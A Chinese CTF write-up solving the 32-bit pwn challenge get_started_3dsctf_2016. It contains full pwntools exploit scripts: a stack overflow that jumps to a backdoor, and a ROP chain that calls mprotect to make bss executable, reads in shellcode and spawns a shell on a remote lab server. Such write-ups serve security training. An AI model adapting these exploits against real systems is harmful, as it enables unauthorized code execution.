首页 > 其他分享 >BUU get_started_3dsctf_2016

BUU get_started_3dsctf_2016

时间:2023-11-27 21:26:05浏览次数:32  
标签:addr get started mprotect 地址 offset p32 2016 payload

先checksec一下
image.png

32位程序,没开PIE,再观察一下主函数
image.png

gets函数有可能是栈溢出,再观察一下后门函数
image.png

方法一:

考虑栈溢出后直接跳转到if判断后面的语句,进而跳过if条件判断

from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",25895)
offset = 0x38+8
addr = 0x080489B8
payload = b'a'*offset
p.sendline(payload)
p.interactive()

但是这样并不能打通,原因是,打远程时,如果程序异常退出,是不会给你回显flag的,所以我们必须指明一个返回地址,可以这样构造:a*offset+后门函数+返回地址+函数参数

返回地址利用c语言自带的exit的地址
image.png

exp:

from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",26281)
addr=0x080489A0
offset = 56
payload = b'A'*offset+p32(addr)+p32(0x0804E6A0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
print(p.recv())
p.interactive()

有个很玄学的东西,我的offset写成16进制就打不通,换成十进制就打通了

方法二:

利用mprotect更改bss段权限
mprotect函数是这样定义的:
int mprotect(const void *start, size_t len, int prot);

  • start是需要进行操作的地址
  • len是从地址往后多长的长度
  • prot是要对这段赋予的权限

prot=0x7是可读可写可执行
start起始地址也有要求,要求是4k的整数倍,后三位要为000

CTRL+S查看程序的段表

image.png

因此start = 0x080EB000

我们需要设置mprotect的三个参数,需要三个寄存器,用ROPgadget查一下

from pwn import *

# p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn", 26281)
mprotect = 0x0806EC80
mem_addr = 0x080EB000
len = 0x100
ret = 0x0809e4c5
read_addr = 0x0806E140

offset = 56
payload = b'A' * offset + p32(mprotect)  # 溢出跳转到mprotect
payload += p32(ret)  # 寄存器
payload += p32(mem_addr)  # 第一个参数start
payload += p32(0x1000)  # 第二个参数len
payload += p32(0x7)  # 第三个参数prot
payload += p32(read_addr)  # 调用read
payload += p32(ret)  # 寄存器
payload += p32(0)  # fd
payload += p32(mem_addr)  # 需要读的地址
payload += p32(len)  # 读的长度
payload += p32(mem_addr)  # 返回到更改完rwx的bss段
p.sendline(payload)
shellcode = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(shellcode)  # 对bss段执行shellcode
p.interactive()

成功拿到flag

标签:addr,get,started,mprotect,地址,offset,p32,2016,payload
From: https://www.cnblogs.com/Smera1d0/p/17860476.html

相关文章

  • Java——Map.getOrDefault方法和MapUtils.getXXX()详解
    在Java编程中,Map是一种非常常用的数据结构。Map通常用于存储键值对,其中每个键映射到一个值。当我们尝试访问一个不存在的键时,Map会返回null值。这在某些情况下可能会导致错误,因此Java8引入了一个新的方法getOrDefault(),该方法可用于解决这个问题。getOrDefault()方法的语法如下:该......
  • ListView 的getView方法被频繁调用问题
    废话少说,没有标题##出现的原因分下面几种:因ListView的宽度或高度设为了wrap_content,导致系统需要不断地测量。解决:固定宽高设个具体值,或设置match_parent,或fill_parent,因情况不确定,没有标准答案,这几个可以都试试。父布局的宽度或高度设为了wrap_content,再加上ListView宽高更不......
  • 解决ls: relocation error: /lib64/libacl.so.1: symbol getxattr, version ATTR_1.0
    解决ls:relocationerror:/lib64/libacl.so.1:symbolgetxattr,versionATTR_1.0notdefinedinfilelibattr.so.1withlinktimereference参考:https://www.cnblogs.com/biohujun/p/17613372.html 这个问题是在我conda装了一个包之后就出现了,ls等最基础的命令没有办......
  • flask中GET和POST请求的用法
    在Fask中,GET和POST请求分别用于获取和提交数据。以下是一些Flask中GET和POST请求的常见用法及代码示例:1.GET请求:获取路由参数fromflaskimportFlask,requestapp=Flask(__name__)@app.route('/user/<intuser_id>')defget_user(user_id):#根据......
  • Docker启动失败,提示"iptables: No chain/target/match by that name"
    一、问题现象docker容器报错:docker:Errorresponsefromdaemon:driverfailedprogrammingexternalconnectivityonendpointetlmysql(12ccdbcef942bef6f32dbfc157dd1b49319ee2df4d68bf7b9a9b9ea88b5bd4fa):(iptablesfailed:iptables--wait-tnat-ADOCKER-ptc......
  • 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那两个整
    示例:给定nums=[2,7,11,15],target=9因为nums[0]+nums[1]=2+7=9所以返回[0,1]用数组的indexOf()方法来查找值vartowSum=function(nums,target){for(leti=0,len=nums.length;i<len;i++){if(nums.indexOf(target-nums[i])>-1......
  • Android widget简介及demo
    文章目录1、简介2、文件结构3、res->xml->appwidget_info.xml4、main_activity.xml5、AndroidManifest.xml6、MyWidget.java7、WidgetService.java8、MainActivity.java1、简介实现桌面小部件2、文件结构1)appwidget_info.xml定义了widget一些属性2)AndroidManifest.xml定义w......
  • Delphi获取当前系统时间(使用API函数GetSystemTime)
    在开发应用程序时往往需要获取当前系统时间。尽管Y2K似乎已经平安过去,但在我们新开发的应用程序中还是要谨慎处理“时间”问题。在《融会贯通--Delphi4.0实战技巧》(以下简称“该书”)第89页专门介绍了两种获取当前系统时间的方法,但这两种方法都存在不足或错误,以下就此进行讨......
  • 17、Flutter StatelessWidget 、 StatefulWidget
    在Flutter中自定义组件其实就是一个类,这个类需要继承StatelessWidget/StatefulWidget。StatelessWidget是无状态组件,状态不可变的widgetStatefulWidget是有状态组件,持有的状态可能在widget生命周期改变。通俗的讲:如果我们想改变页面中的数据的话这个时候就需要用到StatefulWidg......
  • lombok的@Data注解不想为某个字段生成getter/setter方法
    在不想添加getter的实体类字段上添加@Getter(AccessLevel.NONE),setter同理/***通话时长*/@Getter(AccessLevel.NONE)@TableField(exist=false)privateStringduration;publicStringgetDuration(){try{Longdura......